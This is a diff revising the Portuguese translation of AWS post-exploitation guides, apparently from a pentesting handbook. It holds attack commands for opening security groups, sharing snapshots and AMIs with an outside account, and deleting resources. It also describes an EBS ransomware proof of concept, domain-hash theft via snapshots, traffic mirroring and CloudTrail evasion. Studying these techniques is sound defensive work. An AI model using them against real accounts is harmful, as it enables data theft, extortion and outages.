-Um atacante com essas permissões pode **ativar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e, em seguida, acessar o stream para monitorar alterações na tabela em tempo real**. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a um vazamento de dados.
+Um atacante com essas permissões pode **habilitar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e, em seguida, acessar o stream para monitorar alterações na tabela em tempo real**. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a um vazamento de dados.
 
-1. Ativar um stream em uma tabela DynamoDB:
+1. Habilitar um stream em uma tabela DynamoDB:
 ```bash
 bashCopy codeaws dynamodb update-table \
 --table-name TargetTable \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
 --region <region>
 ```
-2. Descreva o stream para obter o ARN e outros detalhes:
+2. Descreva o fluxo para obter o ARN e outros detalhes:
 ```bash
 bashCopy codeaws dynamodb describe-stream \
 --table-name TargetTable \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index f50f9409e..f69e2ed9e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -12,8 +12,8 @@ Para mais informações, consulte:
 
 ### **Espelho VPC Malicioso -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-O espelhamento de tráfego VPC **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusão de rede (IDS) para análise e monitoramento.\
-Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele:
+O espelhamento de tráfego VPC **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusões de rede (IDS) para análise e monitoramento.\
+Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis dele:
 
 Para mais informações, consulte esta página:
 
@@ -50,7 +50,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ### EBS Snapshot dump
 
 **Snapshots são backups de volumes**, que geralmente conterão **informações sensíveis**, portanto, verificá-los deve revelar essas informações.\
-Se você encontrar um **volume sem um snapshot**, você poderia: **Criar um snapshot** e realizar as seguintes ações ou apenas **montá-lo em uma instância** dentro da conta:
+Se você encontrar um **volume sem um snapshot**, você pode: **Criar um snapshot** e realizar as seguintes ações ou apenas **montá-lo em uma instância** dentro da conta:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
@@ -70,11 +70,11 @@ Mesmo que você restrinja um EC2 para que nenhum tráfego possa sair, ele ainda
 
 #### Exfiltration via API calls
 
-Um atacante poderia chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
+Um atacante pode chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
 
 ### Open Security Group
 
-Você poderia obter acesso adicional a serviços de rede abrindo portas assim:
+Você pode obter acesso adicional a serviços de rede abrindo portas assim:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
@@ -119,17 +119,17 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Note que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM.
+Observe que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM.
 
-Finalmente, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para pivotar para qualquer outro serviço AWS ou uma aplicação personalizada.
+Finalmente, essa técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrários para se mover para qualquer outro serviço AWS ou uma aplicação personalizada.
 
 ### Compartilhar AMI
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### Buscar informações sensíveis em AMIs públicas e privadas
+### Pesquisar informações sensíveis em AMIs públicas e privadas
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informações sensíveis dentro de Imagens de Máquina da Amazon (AMIs) públicas ou privadas**. Ela automatiza o processo de lançamento de instâncias a partir de AMIs alvo, montando seus volumes e escaneando em busca de segredos ou dados sensíveis potenciais.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **pesquisar informações sensíveis dentro de Imagens de Máquina da Amazon (AMIs) públicas ou privadas**. Ela automatiza o processo de lançamento de instâncias a partir de AMIs alvo, montando seus volumes e escaneando em busca de segredos ou dados sensíveis potenciais.
 
 ### Compartilhar Snapshot EBS
 ```bash
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
 ```
 ### EBS Ransomware PoC
 
-Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deve ser renomeado para RMS, ou Serviço de Gerenciamento de Ransomware, dada a facilidade de uso para criptografar vários serviços da AWS usando-o.
+Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deve ser renomeado para RMS, ou Serviço de Gerenciamento de Ransomware, dada a facilidade de uso para criptografar vários serviços da AWS.
 
-Primeiro, a partir de uma conta AWS de 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, deixaremos a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política que permite todo o acesso é chamada de 'Outside Encryption'
+Primeiro, a partir de uma conta AWS de 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, vamos apenas deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política que permite todo o acesso é chamada de 'Outside Encryption'
 ```
 {
 "Version": "2012-10-17",
@@ -239,17 +239,17 @@ A regra da política de chave precisa das seguintes permissões habilitadas para
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Agora, com a chave acessível publicamente para usar. Podemos usar uma conta de 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS dessa conta de 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
+Agora, com a chave acessível publicamente para usar. Podemos usar uma conta de 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS da conta 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, destacará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
 Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-Também vale a pena notar que o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados não existem mais.
+Também vale a pena notar que o script parou as instâncias EC2 para destacar e excluir os volumes EBS originais. Os volumes não criptografados originais já não existem.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
@@ -324,15 +324,15 @@ Em seguida, retorne à política de chave na conta 'atacante' e remova a regra d
 ]
 }
 ```
-Aguarde um momento para que a nova política de chave se propague. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
+Aguarde um momento para que a nova política de chave seja propagada. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Mas quando você tentar realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
+Mas quando você tenta realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-Este é o script python utilizado. Ele recebe credenciais AWS para uma conta 'vítima' e um valor ARN AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original por meio de snapshots, mas quero apenas que você esteja ciente de que isso é uma prova de conceito de ransomware no final das contas.
+Este é o script python utilizado. Ele recebe credenciais da AWS para uma conta 'vítima' e um valor ARN da AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original via snapshots, mas só quero que você esteja ciente de que isso é uma prova de conceito de ransomware no final das contas.
 ```
 import boto3
 import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index f52d52337..d05a7cf94 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -50,7 +50,7 @@ Para mais informações sobre esta técnica, consulte a pesquisa original em [ht
 
 Você pode fazer isso com o Pacu usando o módulo [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
 
-## Verificando um snapshot na AWS
+## Verificando um snapshot no AWS
 ```bash
 aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89
 ```
@@ -122,7 +122,7 @@ ls /mnt
 ```
 ## Shadow Copy
 
-Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que eles controlam e **exportando o NTDS.dit e o arquivo do hive do registro SYSTEM** para uso com o projeto secretsdump do Impacket.
+Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que eles controlam e **exportando o arquivo NTDS.dit e o hive de registro SYSTEM** para uso com o projeto secretsdump do Impacket.
 
 Você pode usar esta ferramenta para automatizar o ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou você pode usar uma das técnicas anteriores após criar um snapshot.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index 1a5212964..08b585007 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -1,14 +1,14 @@
-# AWS - Malicious VPC Mirror
+# AWS - Espelho VPC Malicioso
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 **Verifique** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **para mais detalhes do ataque!**
 
-A inspeção passiva de rede em um ambiente de nuvem tem sido **desafiadora**, exigindo grandes mudanças de configuração para monitorar o tráfego de rede. No entanto, um novo recurso chamado “**VPC Traffic Mirroring**” foi introduzido pela AWS para simplificar esse processo. Com o VPC Traffic Mirroring, o tráfego de rede dentro das VPCs pode ser **duplicado** sem instalar nenhum software nas instâncias. Esse tráfego duplicado pode ser enviado para um sistema de detecção de intrusões de rede (IDS) para **análise**.
+A inspeção passiva de rede em um ambiente de nuvem tem sido **desafiadora**, exigindo grandes mudanças de configuração para monitorar o tráfego de rede. No entanto, um novo recurso chamado “**Espelhamento de Tráfego VPC**” foi introduzido pela AWS para simplificar esse processo. Com o Espelhamento de Tráfego VPC, o tráfego de rede dentro das VPCs pode ser **duplicado** sem a necessidade de instalar qualquer software nas instâncias. Esse tráfego duplicado pode ser enviado para um sistema de detecção de intrusões de rede (IDS) para **análise**.
 
-Para atender à necessidade de **implantação automatizada** da infraestrutura necessária para espelhar e exfiltrar o tráfego da VPC, desenvolvemos um script de prova de conceito chamado “**malmirror**”. Este script pode ser usado com **credenciais AWS comprometidas** para configurar o espelhamento para todas as instâncias EC2 suportadas em uma VPC alvo. É importante notar que o VPC Traffic Mirroring é suportado apenas por instâncias EC2 alimentadas pelo sistema AWS Nitro, e o alvo do espelho VPC deve estar dentro da mesma VPC que os hosts espelhados.
+Para atender à necessidade de **implantação automatizada** da infraestrutura necessária para espelhar e exfiltrar o tráfego VPC, desenvolvemos um script de prova de conceito chamado “**malmirror**”. Este script pode ser usado com **credenciais AWS comprometidas** para configurar o espelhamento para todas as instâncias EC2 suportadas em uma VPC alvo. É importante notar que o Espelhamento de Tráfego VPC é suportado apenas por instâncias EC2 alimentadas pelo sistema AWS Nitro, e o alvo do espelho VPC deve estar dentro da mesma VPC que os hosts espelhados.
 
-O **impacto** do espelhamento de tráfego VPC malicioso pode ser significativo, pois permite que atacantes acessem **informações sensíveis** transmitidas dentro das VPCs. A **probabilidade** de tal espelhamento malicioso é alta, considerando a presença de **tráfego em texto claro** fluindo através das VPCs. Muitas empresas usam protocolos em texto claro dentro de suas redes internas por **razões de desempenho**, assumindo que ataques tradicionais de man-in-the-middle não são possíveis.
+O **impacto** do espelhamento malicioso de tráfego VPC pode ser significativo, pois permite que atacantes acessem **informações sensíveis** transmitidas dentro das VPCs. A **probabilidade** de tal espelhamento malicioso é alta, considerando a presença de **tráfego em texto claro** fluindo através das VPCs. Muitas empresas usam protocolos em texto claro dentro de suas redes internas por **razões de desempenho**, assumindo que ataques tradicionais de homem no meio não são possíveis.
 
 Para mais informações e acesso ao [**script malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), ele pode ser encontrado em nosso **repositório GitHub**. O script automatiza e simplifica o processo, tornando-o **rápido, simples e repetível** para fins de pesquisa ofensiva.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index 256b9c94c..8ebd5b9c2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -13,7 +13,7 @@ Para mais informações, consulte:
 ### Funções IAM do Host
 
 No ECS, uma **função IAM pode ser atribuída à tarefa** que está sendo executada dentro do contêiner. **Se** a tarefa estiver sendo executada dentro de uma **instância EC2**, a **instância EC2** terá **outra função IAM** anexada a ela.\
-O que significa que, se você conseguir **comprometer** uma instância ECS, poderá potencialmente **obter a função IAM associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais, consulte:
+Isso significa que, se você conseguir **comprometer** uma instância ECS, poderá **obter a função IAM associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais, consulte:
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -33,7 +33,7 @@ Além disso, a **função da instância EC2** geralmente terá permissões sufic
 aws ecs update-container-instances-state \
 --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
 ```
-A mesma técnica pode ser feita **desregistrando a instância EC2 do cluster**. Isso é potencialmente menos furtivo, mas **forçará as tarefas a serem executadas em outras instâncias:**
+A mesma técnica pode ser feita **desregistrando a instância EC2 do cluster**. Isso é potencialmente menos discreto, mas **forçará as tarefas a serem executadas em outras instâncias:**
 ```bash
 aws ecs deregister-container-instance \
 --cluster <cluster> --container-instance <container-instance-id> --force
@@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ...
 ```
 ### Roubar informações sensíveis de contêineres ECR
 
-A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo que ela **baixe imagens** (você pode procurar por informações sensíveis nelas).
+A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo que ela **baixe imagens** (você pode procurar informações sensíveis nelas).
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index 31c5f0b5b..6278669c6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -12,7 +12,7 @@ Para mais informações, consulte:
 
 ### `elasticfilesystem:DeleteMountTarget`
 
-Um atacante poderia deletar um ponto de montagem, potencialmente interrompendo o acesso ao sistema de arquivos EFS para aplicações e usuários que dependem desse ponto de montagem.
+Um atacante poderia deletar um alvo de montagem, potencialmente interrompendo o acesso ao sistema de arquivos EFS para aplicações e usuários que dependem desse alvo de montagem.
 ```sql
 aws efs delete-mount-target --mount-target-id <value>
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index b1ed6dcb8..8d93c8ba5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -21,11 +21,11 @@ Se você tiver a permissão **`eks:AccessKubernetesApi`**, você pode **visualiz
 # Generate kubeconfig
 aws eks update-kubeconfig --name aws-eks-dev
 ```
-- Não é um caminho tão fácil:
+- Não é tão fácil assim:
 
 Se você conseguir **obter um token** com **`aws eks get-token --name <cluster_name>`** mas não tiver permissões para obter informações do cluster (describeCluster), você pode **preparar seu próprio `~/.kube/config`**. No entanto, tendo o token, você ainda precisa da **url do endpoint para se conectar** (se você conseguiu obter um token JWT de um pod leia [aqui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e o **nome do cluster**.
 
-No meu caso, não encontrei as informações nos logs do CloudWatch, mas eu **encontrai no userData dos LaunchTemplates** e nas **máquinas EC2 no userData também**. Você pode ver essas informações em **userData** facilmente, por exemplo, no próximo exemplo (o nome do cluster era cluster-name):
+No meu caso, não encontrei as informações nos logs do CloudWatch, mas eu **encontrai no userData dos LaunchTemplates** e nas **máquinas EC2 no userData também**. Você pode ver essas informações no **userData** facilmente, por exemplo, no próximo exemplo (o nome do cluster era cluster-name):
 ```bash
 API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
 
@@ -74,12 +74,12 @@ provideClusterInfo: false
 
 O **criador** do **cluster EKS** **SEMPRE** poderá acessar a parte do cluster kubernetes do grupo **`system:masters`** (admin k8s). No momento da redação, não há **nenhuma maneira direta** de descobrir **quem criou** o cluster (você pode verificar o CloudTrail). E não há **como** **remover** esse **privilégio**.
 
-A maneira de conceder **acesso ao K8s para mais usuários ou funções do AWS IAM** é usando o **configmap** **`aws-auth`**.
+A maneira de conceder **acesso a mais usuários ou funções do AWS IAM** sobre o K8s é usando o **configmap** **`aws-auth`**.
 
 > [!WARNING]
 > Portanto, qualquer pessoa com **acesso de escrita** sobre o config map **`aws-auth`** poderá **comprometer todo o cluster**.
 
-Para mais informações sobre como **conceder privilégios extras a funções e usuários IAM** na **mesma ou em outra conta** e como **abusar** disso, [**verifique esta página**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
+Para mais informações sobre como **conceder privilégios extras a funções e usuários IAM** na **mesma ou em contas diferentes** e como **abusar** disso, [**verifique esta página**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
 
 Confira também [**este post incrível**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **para aprender como a autenticação IAM -> Kubernetes funciona**.
 
@@ -98,7 +98,7 @@ Não encontrei nenhuma documentação que explique os critérios para os 'dois c
 - gr7
 - yl4
 
-De qualquer forma, são apenas 3 caracteres que podemos bruteforçar. Use o script abaixo para gerar a lista.
+De qualquer forma, são apenas 3 caracteres que podemos fazer brute force. Use o script abaixo para gerar a lista.
 ```python
 from itertools import product
 from string import ascii_lowercase
@@ -125,18 +125,18 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
 
 Se um atacante obtiver credenciais de um AWS com **permissão sobre um EKS**. Se o atacante configurar seu próprio **`kubeconfig`** (sem chamar **`update-kubeconfig`**) como explicado anteriormente, o **`get-token`** não gera logs no Cloudtrail porque não interage com a API da AWS (apenas cria o token localmente).
 
-Portanto, quando o atacante se comunica com o cluster EKS, **o cloudtrail não registrará nada relacionado ao usuário sendo roubado e acessando-o**.
+Assim, quando o atacante se comunica com o cluster EKS, **o cloudtrail não registrará nada relacionado ao usuário sendo roubado e acessando-o**.
 
 Note que o **cluster EKS pode ter logs habilitados** que registrarão esse acesso (embora, por padrão, estejam desativados).
 
 ### EKS Ransom?
 
-Por padrão, o **usuário ou função que criou** um cluster **SEMPRE terá privilégios de administrador** sobre o cluster. E que o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes.
+Por padrão, o **usuário ou função que criou** um cluster **SEMPRE terá privilégios de administrador** sobre o cluster. E esse é o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes.
 
-Assim, se um **atacante comprometer um cluster usando fargate** e **remover todos os outros administradores** e **deletar o usuário/função AWS que criou** o Cluster, ~~o atacante poderia ter **resgatado o cluster**~~**r**.
+Portanto, se um **atacante comprometer um cluster usando fargate** e **remover todos os outros administradores** e **deletar o usuário/função da AWS que criou** o Cluster, ~~o atacante poderia ter **rendido o cluste**~~**r**.
 
 > [!TIP]
-> Note que se o cluster estivesse usando **EC2 VMs**, poderia ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster.
+> Note que se o cluster estiver usando **EC2 VMs**, pode ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster.
 >
 > Na verdade, se o cluster estiver usando Fargate, você poderia EC2 nodes ou mover tudo para EC2 para o cluster e recuperá-lo acessando os tokens no node.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index 13f1f3f89..66f7393fb 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -19,18 +19,18 @@ Um atacante com a permissão `elasticbeanstalk:DeleteApplicationVersion` pode **
 ```bash
 aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
 ```
-**Impacto Potencial**: Interrupção da implantação de aplicativos e potencial perda de versões de aplicativos.
+**Impacto Potencial**: Interrupção da implantação de aplicativos e possível perda de versões de aplicativos.
 
 ### `elasticbeanstalk:TerminateEnvironment`
 
 > [!NOTE]
 > TODO: Testar se mais permissões são necessárias para isso
 
-Um atacante com a permissão `elasticbeanstalk:TerminateEnvironment` pode **encerrar um ambiente Elastic Beanstalk existente**, causando inatividade para o aplicativo e potencial perda de dados se o ambiente não estiver configurado para backups.
+Um atacante com a permissão `elasticbeanstalk:TerminateEnvironment` pode **encerrar um ambiente Elastic Beanstalk existente**, causando inatividade para o aplicativo e possível perda de dados se o ambiente não estiver configurado para backups.
 ```bash
 aws elasticbeanstalk terminate-environment --environment-name my-existing-env
 ```
-**Impacto Potencial**: Tempo de inatividade da aplicação, potencial perda de dados e interrupção dos serviços.
+**Impacto Potencial**: Tempo de inatividade da aplicação, perda potencial de dados e interrupção dos serviços.
 
 ### `elasticbeanstalk:DeleteApplication`
 
@@ -45,7 +45,7 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en
 
 ### `elasticbeanstalk:SwapEnvironmentCNAMEs`
 
-> [!NOTA]
+> [!NOTE]
 > TODO: Testar se mais permissões são necessárias para isso
 
 Um atacante com a permissão `elasticbeanstalk:SwapEnvironmentCNAMEs` pode **trocar os registros CNAME de dois ambientes do Elastic Beanstalk**, o que pode fazer com que a versão errada da aplicação seja servida aos usuários ou levar a comportamentos não intencionais.
@@ -56,7 +56,7 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
 
 ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
 
-> [!NOTE]
+> [!NOTA]
 > TODO: Testar se mais permissões são necessárias para isso
 
 Um atacante com as permissões `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` pode **adicionar ou remover tags em recursos do Elastic Beanstalk**. Essa ação pode levar a alocação incorreta de recursos, cobrança ou gerenciamento de recursos.
